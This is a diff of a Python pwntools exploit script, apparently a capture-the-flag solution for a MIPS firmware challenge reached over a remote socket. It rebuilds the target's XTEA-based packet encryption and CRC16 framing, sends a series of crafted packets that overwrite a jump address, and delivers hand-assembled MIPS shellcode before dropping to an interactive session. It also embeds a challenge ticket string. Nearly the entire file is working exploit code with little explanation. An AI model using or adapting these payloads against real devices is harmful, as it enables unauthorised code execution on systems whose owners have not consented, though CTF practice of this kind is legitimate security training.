|
| 1 | +from pwn import * |
| 2 | +import time |
| 3 | +import binascii |
| 4 | +import os |
| 5 | + |
| 6 | +key = 0x2E92F6BA62F88828147C0E2AE361D32C |
| 7 | +iv1 = 0xCD4A05E8A0A3C10F |
| 8 | +iv2 = 0x4CD435388058EFC7 |
| 9 | + |
| 10 | +def key_get(key, idx): |
| 11 | + return (key >> (idx*32)) & 0xffffffff |
| 12 | + |
| 13 | +def xtea_do(data, key): |
| 14 | + v0 = data & 0xffffffff |
| 15 | + v1 = data >> 32 |
| 16 | + sum = 0x3e778b90 |
| 17 | + while sum != 0x7cef1720: |
| 18 | + temp = (sum + key_get(key, sum & 3)) & 0xffffffff |
| 19 | + sum = (sum + 0x83e778b9) & 0xffffffff |
| 20 | + v0 = (v0 + (temp ^ (v1 << 4 ^ v1 >> 5) + v1)) & 0xffffffff |
| 21 | + v1 = (v1 + (sum + (key_get(key, (sum >> 9 & 0xc) // 4)) ^ (v0 * 0x10 ^ v0 >> 5) + v0)) & 0xffffffff |
| 22 | + return (v1 << 32) | v0 |
| 23 | + |
| 24 | +def get_keystream_resource_rll(key, length): |
| 25 | + global iv2 |
| 26 | + stream = b"" |
| 27 | + for i in range(length): |
| 28 | + select = i & 7 |
| 29 | + if select == 0: |
| 30 | + iv2 = xtea_do(iv2, key) |
| 31 | + stream += bytes([(iv2 >> (select*8)) & 0xff]) |
| 32 | + return stream |
| 33 | + |
| 34 | +def get_keystream_mac_rll(key, length): |
| 35 | + global iv1 |
| 36 | + stream = b"" |
| 37 | + for i in range(length): |
| 38 | + select = i & 7 |
| 39 | + if select == 0: |
| 40 | + iv1 = xtea_do(iv1, key) |
| 41 | + stream += bytes([(iv1 >> (select*8)) & 0xff]) |
| 42 | + return stream |
| 43 | + |
| 44 | +def encrypt_message(msg): |
| 45 | + stream = get_keystream_mac_rll(key, len(msg)) |
| 46 | + ret = b"" |
| 47 | + for i in range(len(msg)): |
| 48 | + ret += bytes([stream[i] ^ msg[i]]) |
| 49 | + return ret |
| 50 | + |
| 51 | +def decrypt_message(msg): |
| 52 | + stream = get_keystream_resource_rll(key, len(msg)) |
| 53 | + ret = b"" |
| 54 | + for i in range(len(msg)): |
| 55 | + ret += bytes([stream[i] ^ msg[i]]) |
| 56 | + return ret |
| 57 | + |
| 58 | +def crc16(data: bytes, poly=0x8408): |
| 59 | + data = bytearray(data) |
| 60 | + crc = 0xFFFF |
| 61 | + for b in data: |
| 62 | + cur_byte = 0xFF & b |
| 63 | + for _ in range(0, 8): |
| 64 | + if (crc & 0x0001) ^ (cur_byte & 0x0001): |
| 65 | + crc = (crc >> 1) ^ poly |
| 66 | + else: |
| 67 | + crc >>= 1 |
| 68 | + cur_byte >>= 1 |
| 69 | + crc = (~crc & 0xFFFF) |
| 70 | + crc = (crc << 8) | ((crc >> 8) & 0xFF) |
| 71 | + return crc & 0xFFFF |
| 72 | + |
| 73 | +cur_size = 0x20 |
| 74 | + |
| 75 | +def set_size_block(size): |
| 76 | + global cur_size |
| 77 | + data = bytes([size]) |
| 78 | + data += b"A"*(cur_size-4) |
| 79 | + payload = b"\x79" + p16(crc16(data)) + data |
| 80 | + cur_size = size |
| 81 | + return payload |
| 82 | + |
| 83 | +def message_block(data): |
| 84 | + if len(data) < cur_size - 3: |
| 85 | + fill = cur_size - 3 - len(data) |
| 86 | + #data += cyclic(0x500)[:fill] |
| 87 | + data += b"A"*fill |
| 88 | + if data[0] == 0x73 or data[0] == 0xc3: |
| 89 | + data = bytes([data[0]]) + encrypt_message(data[1:]) |
| 90 | + crcl = crc16(data) |
| 91 | + sice = b"\xe3" + p16(crcl) + data |
| 92 | + return sice |
| 93 | + |
| 94 | +def reset(): |
| 95 | + global cur_size |
| 96 | + data = b"A"*(cur_size-3) |
| 97 | + crcl = crc16(data) |
| 98 | + sice = b"\x13" + p16(crcl) + data |
| 99 | + cur_size = 0x20 |
| 100 | + return sice |
| 101 | + |
| 102 | +res = [] |
| 103 | +res.append(set_size_block(0xc0)) |
| 104 | +res.append(message_block(b"\x17" + b"\x70" + b"B")) |
| 105 | +#res.append(message_block(b"\xc3\x01" + p32(0x0) + b"\x20" + b"CCCCDDDDEEEEFFFF")) |
| 106 | +#res.append(reset()) |
| 107 | +# 0x73 packet |
| 108 | +# uint16 sn |
| 109 | +# |
| 110 | +res.append(message_block(b"\x73\x0f\x80\x23" + b"\xfe"*0x10 + b"B"*0xa9)) |
| 111 | +res.append(message_block(b"\x73\x0e\x80\x23" + b"\xfe"*0x10 + b"B"*0xa9)) |
| 112 | +res.append(message_block(b"\x73\x0d\x80\x23" + b"\xfe"*0x10 + b"B"*0xa9)) |
| 113 | +res.append(message_block(b"\x73\x0c\x80\x23" + b"\xfe"*0x10 + b"B"*0xa9)) |
| 114 | +res.append(message_block(b"\x73\x0b\x80\x23" + b"\xfe"*0x10 + b"C"*0xa9)) |
| 115 | +res.append(message_block(b"\x73\x0a\x80\x23" + b"\xfe"*0x10 + b"C"*0xa9)) |
| 116 | +res.append(message_block(b"\x73\x09\x80\x23" + b"\xfe"*0x10 + b"C"*0xa9)) |
| 117 | +res.append(message_block(b"\x73\x08\x80\x23" + b"\xfe"*0x10 + b"C"*0xa9)) |
| 118 | +# 0x69696969 at a00fe778 |
| 119 | +# jump to a00fe77c |
| 120 | +payload = b"\x73\x07\x80\x23\xfe" + b"\x00\x00\x00\x00"*4 + b"\xfe"*(0x10-5-4-4) + b"A"*0x1 |
| 121 | +payload += p32(0xa0110308) |
| 122 | +#payload += b"\xFE\xFF\x00\x10" # shellchode |
| 123 | +payload += b"\x00\x00\x00\x00"*0x5 |
| 124 | +payload += b"B"*(0xbd - len(payload)) |
| 125 | +# ram buffer 1 - a0110304 |
| 126 | +# jmp to a0110304 + 4 |
| 127 | +res.append(message_block(payload)) |
| 128 | +res.append(message_block(b"\x73\x06\x80\x23" + b"\xfe"*(0x10) + b"F"*0xa9)) |
| 129 | +res.append(message_block(b"\x73\x05\x80\x23\xfe" + b"\xfe\xff\x00\x10" + b"\xfe"*(0x10-5) + b"G"*0xa9)) |
| 130 | +res.append(message_block(b"\x73\x04\x80\x23" + b"\xfe"*0x10 + b"H"*0xa9)) |
| 131 | +res.append(message_block(b"\x73\x03\x80\x23" + b"\xfe"*0x10 + b"A"*0xa9)) |
| 132 | +res.append(message_block(b"\x73\x02\x80\x23" + b"\xfe"*0x10 + b"A"*0xa9)) |
| 133 | +res.append(message_block(b"\x73\x01\x80\x23" + b"\xfe"*0x10 + b"A"*0xa9)) |
| 134 | +#shellchode = b"\x00\x00\x00\x00" + b"\xFF\xFF\x00\x10" |
| 135 | +# bigly communication function = 0xbfc08cbc |
| 136 | +# global data buf 0xa00fecfc |
| 137 | +shellchode = b"\x00\x00\x07\x24\x04\x00\xA7\xAF\x04\x00\xA7\x8F\x20\x00\x09\x24\x17\x00\x27\x11\x00\x00\x00\x00\x00\x82\x02\x34\x00\x14\x02\x00\x00\x80\x42\x34\x80\x60\x07\x00\x20\x10\x4C\x00\x01\x00\xE7\x20\x04\x00\xA7\xAF\x00\x00\x43\x8C\x00\x00\xA3\xAF\x0F\xA0\x04\x34\x00\x24\x04\x00\xFC\xEC\x84\x34\x25\x28\xA0\x03\x26\x30\xC6\x00\x04\x00\x06\x24\xC0\xBF\x0B\x34\x00\x5C\x0B\x00\xBC\x8C\x6B\x35\x09\xF8\x60\x01\x00\x00\x00\x00\xE7\xFF\x00\x10\x00\x00\x00\x00" |
| 138 | +shellchode += b"\x00\x00\x00\x00" |
| 139 | +shellchode += b"\xFF\xFF\x00\x10" |
| 140 | +assert len(shellchode) < 0xb6 |
| 141 | +shellchode += b"\x00"*(0xb6 - len(shellchode)) |
| 142 | +res.append(message_block(b"\x73\x00\x80\x23\xfe\xfe\xfe" + shellchode)) |
| 143 | + |
| 144 | + |
| 145 | +id1 = 0xef2c9fd1 |
| 146 | + |
| 147 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 148 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 149 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 150 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 151 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 152 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 153 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 154 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 155 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 156 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 157 | +#res.append(message_block(b"\xc3\x01" + p32(id1) + b"\xb0"*5)) |
| 158 | +#res.append(message_block(b"\xc3\x00\x00" + b"\x02"*0x10)) |
| 159 | +#res.append(message_block(b"\x73" + encrypt_message(b"\x00\x00\x00"))) |
| 160 | +#res.append(message_block(b"\xc3\x02" + p32(0x0) + b"\x20" + b"CCCCDDDDEEEEFFFF")) |
| 161 | +#res.append(message_block(b"\x17" + b"\x70" + b"B")) |
| 162 | +#res.append(message_block(b"\x73\x44\x44" + b"\x23"*0x30)) |
| 163 | +#res.append(message_block(b"\xc3" + encrypt_message(b"\x01AAAAAAAA"))) |
| 164 | + |
| 165 | +#r = process(["./vmips_patched", "-o", "memsize=2097152", "challenge_patched.rom"]) |
| 166 | +#r = process(["./vmips_patched", "-o", "memsize=2097152", "challenge.rom"]) |
| 167 | +#r = process(["./vmips", "-o", "memsize=2097152", "challenge_patched.rom"]) |
| 168 | +#r = process(["./vmips", "-o", "memsize=2097152", "challenge.rom"]) |
| 169 | +r = remote("launchlink.satellitesabove.me",5065) |
| 170 | +r.recvline() |
| 171 | +r.sendline("ticket{xray25235hotel:GFNqIcfJ-QGCTwRRjocGhg_tpNDdbbbj8jgH99WUW1_AGkw6Dlo_uEn9jf6K3i7DYw}") |
| 172 | +time.sleep(1) |
| 173 | +""" |
| 174 | +r.recvuntil("*************RESET*************") |
| 175 | +r.recvline() |
| 176 | +r.recvline() |
| 177 | +""" |
| 178 | +for i in res: |
| 179 | + r.send(i) |
| 180 | + time.sleep(0.2) |
| 181 | +r.interactive() |
0 commit comments